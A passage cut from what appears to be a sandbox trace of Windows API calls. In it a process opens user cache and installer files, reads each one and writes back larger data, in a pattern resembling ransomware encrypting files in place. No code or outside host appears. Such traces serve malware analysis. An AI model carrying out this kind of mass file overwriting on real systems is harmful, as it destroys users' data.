lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0067.698] WriteFile (in: hFile=0x1b0, lpBuffer=0x2628b38*, nNumberOfBytesToWrite=0xb25, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2628b38*, lpNumberOfBytesWritten=0x340f2d0*=0xb25, lpOverlapped=0x0) returned 1 [0067.698] CloseHandle (hObject=0x1b0) returned 1 [0067.699] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\bc570ec0de58335afaf92fdc8e3aa330_6ce6e578b5c8485b4be3c4d58e12f150"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0067.699] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0067.699] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x5ed [0067.699] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0067.699] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0067.699] ReleaseMutex (hMutex=0x128) returned 1 [0067.699] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0067.699] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150", cchWideChar=65, lpMultiByteStr=0x1e951cc, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150", lpUsedDefaultChar=0x0) returned 65 [0067.699] ReadFile (in: hFile=0x1b0, lpBuffer=0x263fd98, nNumberOfBytesToRead=0x5ed, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesRead=0x340f2bc*=0x5ed, lpOverlapped=0x0) returned 1 [0067.701] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0067.701] WriteFile (in: hFile=0x1b0, lpBuffer=0x2628b38*, nNumberOfBytesToWrite=0xb75, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2628b38*, lpNumberOfBytesWritten=0x340f2d0*=0xb75, lpOverlapped=0x0) returned 1 [0067.701] CloseHandle (hObject=0x1b0) returned 1 [0067.701] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F90F18257CBB4D84216AC1E1F3BB2C76" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\f90f18257cbb4d84216ac1e1f3bb2c76"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0067.702] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0067.702] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x226 [0067.702] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0067.702] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0067.702] ReleaseMutex (hMutex=0x128) returned 1 [0067.702] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="F90F18257CBB4D84216AC1E1F3BB2C76", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0067.702] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="F90F18257CBB4D84216AC1E1F3BB2C76", cchWideChar=32, lpMultiByteStr=0x1eb2084, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="F90F18257CBB4D84216AC1E1F3BB2C76", lpUsedDefaultChar=0x0) returned 32 [0067.702] ReadFile (in: hFile=0x1b0, lpBuffer=0x1e0de08, nNumberOfBytesToRead=0x226, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e0de08*, lpNumberOfBytesRead=0x340f2bc*=0x226, lpOverlapped=0x0) returned 1 [0067.703] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0067.703] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x7ae, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x340f2d0*=0x7ae, lpOverlapped=0x0) returned 1 [0067.703] CloseHandle (hObject=0x1b0) returned 1 [0067.703] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\4dd39726d4b55ac3b4119b35a893323c_46cccfb940a93f39a734f69efcdd76e9"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0067.704] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0067.704] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x194 [0067.704] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0067.704] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0067.704] ReleaseMutex (hMutex=0x128) returned 1 [0067.704] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0067.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", cchWideChar=65, lpMultiByteStr=0x1e951cc, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", lpUsedDefaultChar=0x0) returned 65 [0067.705] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df4178, nNumberOfBytesToRead=0x194, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df4178*, lpNumberOfBytesRead=0x340f2bc*=0x194, lpOverlapped=0x0) returned 1 [0067.705] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0067.705] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x71c, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x340f2d0*=0x71c, lpOverlapped=0x0) returned 1 [0067.706] CloseHandle (hObject=0x1b0) returned 1 [0067.706] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\7d266d9e1e69fa1eefb9699b009b34c8_0a9bfdd75b598c2110cbf610c078e6e6"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0067.707] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0067.707] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x194 [0067.707] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0067.707] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0067.707] ReleaseMutex (hMutex=0x128) returned 1 [0067.707] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0067.707] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", cchWideChar=65, lpMultiByteStr=0x1e951cc, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", lpUsedDefaultChar=0x0) returned 65 [0067.707] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df4178, nNumberOfBytesToRead=0x194, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df4178*, lpNumberOfBytesRead=0x340f2bc*=0x194, lpOverlapped=0x0) returned 1 [0067.708] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0067.708] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x71c, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x340f2d0*=0x71c, lpOverlapped=0x0) returned 1 [0067.708] CloseHandle (hObject=0x1b0) returned 1 [0067.708] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_f2318f7ab33980a131a265454c39ca30"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0067.711] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0067.711] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x182 [0067.713] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0067.713] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0067.713] ReleaseMutex (hMutex=0x128) returned 1 [0067.713] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0067.713] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30", cchWideChar=65, lpMultiByteStr=0x1e951cc, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30", lpUsedDefaultChar=0x0) returned 65 [0067.713] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df4178, nNumberOfBytesToRead=0x182, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df4178*, lpNumberOfBytesRead=0x340f2bc*=0x182, lpOverlapped=0x0) returned 1 [0067.714] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0067.714] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x70a, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x340f2d0*=0x70a, lpOverlapped=0x0) returned 1 [0067.714] CloseHandle (hObject=0x1b0) returned 1 [0067.714] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\9c888beabccbc2a97b0d6d9214c3ba37_ebc75728c6119a77e4da8559dd10f061"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0067.715] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0067.715] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x182 [0067.715] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0067.715] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0067.715] ReleaseMutex (hMutex=0x128) returned 1 [0067.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0067.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061", cchWideChar=65, lpMultiByteStr=0x1e951cc, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061", lpUsedDefaultChar=0x0) returned 65 [0067.715] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df4178, nNumberOfBytesToRead=0x182, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df4178*, lpNumberOfBytesRead=0x340f2bc*=0x182, lpOverlapped=0x0) returned 1 [0067.716] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0067.716] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x70a, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x340f2d0*=0x70a, lpOverlapped=0x0) returned 1 [0067.716] CloseHandle (hObject=0x1b0) returned 1 [0067.716] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\d47dbd2f9e3365fbbe008d71fb06716f_4dd1053bcc726da41115fff4c7d6e9cc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0067.717] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0067.717] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x194 [0067.717] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0067.717] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0067.717] ReleaseMutex (hMutex=0x128) returned 1 [0067.717] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0067.717] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC", cchWideChar=65, lpMultiByteStr=0x1e951cc, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC", lpUsedDefaultChar=0x0) returned 65 [0067.717] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df4178, nNumberOfBytesToRead=0x194, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df4178*, lpNumberOfBytesRead=0x340f2bc*=0x194, lpOverlapped=0x0) returned 1 [0067.718] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0067.718] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x71c, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x340f2d0*=0x71c, lpOverlapped=0x0) returned 1 [0067.718] CloseHandle (hObject=0x1b0) returned 1 [0067.718] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\jre1.7.0_45.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0067.719] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0067.719] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xdd600 [0067.719] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0067.719] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0067.719] ReleaseMutex (hMutex=0x128) returned 1 [0067.719] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jre1.7.0_45.msi", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0067.719] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jre1.7.0_45.msi", cchWideChar=15, lpMultiByteStr=0x1e630ec, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jre1.7.0_45.msi", lpUsedDefaultChar=0x0) returned 15 [0067.719] ReadFile (in: hFile=0x1b0, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0068.004] ReadFile (in: hFile=0x1b0, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0068.005] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xdc600 [0068.005] ReadFile (in: hFile=0x1b0, lpBuffer=0x261d7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x261d7d8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0068.007] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xdc600 [0068.011] WriteFile (in: hFile=0x1b0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0068.011] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0068.011] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x340f28c*=0xf000, lpOverlapped=0x0) returned 1 [0068.011] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0068.011] CloseHandle (hObject=0x1b0) returned 1 [0068.011] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\A9B8213768ADC68AF64FCC6409E8BE414726687F.crl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\crlcache\\a9b8213768adc68af64fcc6409e8be414726687f.crl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0068.012] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.012] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x9347 [0068.012] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.012] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0068.012] ReleaseMutex (hMutex=0x128) returned 1 [0068.013] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="A9B8213768ADC68AF64FCC6409E8BE414726687F.crl", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0068.013] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="A9B8213768ADC68AF64FCC6409E8BE414726687F.crl", cchWideChar=44, lpMultiByteStr=0x1e9c92c, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A9B8213768ADC68AF64FCC6409E8BE414726687F.crl", lpUsedDefaultChar=0x0) returned 44 [0068.013] ReadFile (in: hFile=0x1b0, lpBuffer=0x27292d8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, 